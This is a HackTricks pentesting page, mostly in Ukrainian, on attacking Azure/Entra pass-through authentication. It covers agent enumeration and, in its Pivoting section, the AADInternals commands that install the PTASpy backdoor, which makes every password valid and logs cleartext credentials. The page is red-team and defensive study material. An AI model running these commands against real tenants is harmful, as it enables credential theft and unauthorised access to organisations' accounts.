Az - PTA - Pass-through Authentication
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Basic Information
From the docs: Microsoft Entra pass-through authentication дозволяє вашим користувачам увійти в якості в обидва - локальні та хмарні додатки, використовуючи ті ж паролі. Ця функція забезпечує вашим користувачам кращий досвід - один пароль менше для запам'ятовування, і зменшує витрати на IT-підтримку, оскільки ваші користувачі менш імовірно забудуть, як увійти. Коли користувачі входять, використовуючи Microsoft Entra ID, ця функція перевіряє паролі користувачів безпосередньо проти вашого локального Active Directory.
У PTA ідентичності синхронізуються, але паролі не так, як у PHS.
Аутентифікація перевіряється в локальному AD, а зв'язок з хмарою здійснюється через агента аутентифікації, що працює на локальному сервері (не обов'язково на локальному DC).
Authentication flow
.png)
- Щоб увійти, користувач перенаправляється до Azure AD, де він надсилає ім'я користувача та пароль
- Облікові дані шифруються і ставляться в чергу в Azure AD
- Локальний агент аутентифікації збирає облікові дані з черги і дешифрує їх. Цей агент називається "Агент аутентифікації через проходження" або агент PTA.
- Агент перевіряє облікові дані проти локального AD і надсилає відповідь назад до Azure AD, яка, якщо відповідь позитивна, завершує вхід користувача.
warning
Якщо зловмисник компрометує PTA, він може бачити всі облікові дані з черги (в відкритому тексті).
Він також може перевірити будь-які облікові дані до AzureAD (схожий напад на Skeleton key).
Enumeration
From Entra ID:
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
Перевірте, чи агент працює на локальному сервері:
Get-Service -Name "AzureADConnectAuthenticationAgent"
Pivoting
Якщо у вас є адміністраторський доступ до сервера Azure AD Connect з запущеним агентом PTA, ви можете використовувати модуль AADInternals для вставлення бекдору, який буде перевіряти ВСІ паролі, введені (так що всі паролі будуть дійсними для аутентифікації):
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
note
Якщо встановлення не вдалося, це, ймовірно, через відсутність Microsoft Visual C++ 2015 Redistributables.
Ця бекдор буде:
- Створити приховану папку
C:\PTASpy
- Скопіювати
PTASpy.dll
доC:\PTASpy
- Впровадити
PTASpy.dll
у процесAzureADConnectAuthenticationAgentService
note
Коли служба AzureADConnectAuthenticationAgent перезапускається, PTASpy “вивантажується” і його потрібно повторно встановити.
caution
Після отримання GA привілеїв у хмарі, можливо зареєструвати новий PTA агент і повторити попередні кроки для автентифікації за допомогою будь-якого пароля та також, отримати паролі у відкритому тексті.
Seamless SSO
Можливо використовувати Seamless SSO з PTA, який вразливий до інших зловживань. Перевірте це в:
References
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta
- https://aadinternals.com/post/on-prem_admin/#pass-through-authentication
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.